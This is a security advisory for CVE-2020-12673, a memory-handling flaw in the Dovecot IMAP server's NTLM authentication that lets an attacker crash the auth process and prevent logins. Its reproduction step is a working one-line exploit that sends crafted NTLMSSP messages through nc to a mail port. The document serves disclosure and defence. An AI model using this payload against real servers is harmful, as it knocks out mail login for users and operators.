Open-Xchange Security Advisory 2020-08-12
Affected product: Dovecot IMAP server Internal reference: DOP-1870 (Bug ID) Vulnerability type: CWE-789 (Uncontrolled Memory Allocation) Vulnerable version: 2.2 Vulnerable component: auth Fixed version: 2.3.11.3 Report confidence: Confirmed Solution status: Fix available Vendor notification: 2020-05-03 CVE reference: CVE-2020-12673 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Vulnerability Details: Dovecot's NTLM implementation does not correctly check message buffer size, which leads to reading past allocation which can lead to crash.
Risk: An adversary can use this vulnerability to crash dovecot auth process repeatedly, preventing login.
Steps to reproduce:
(echo 'AUTH NTLM'; echo -ne
'NTLMSSP\x00\x01\x00\x00\x00\x00\x02\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
base64 -w0 ;echo ;echo -ne
'NTLMSSP\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AA\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00orange\x00'|
base64 -w0;echo ; echo QUIT) | nc 127.0.0.1 110
Workaround: Disable NTLM authentication.
Solution: Upgrade to fixed version.
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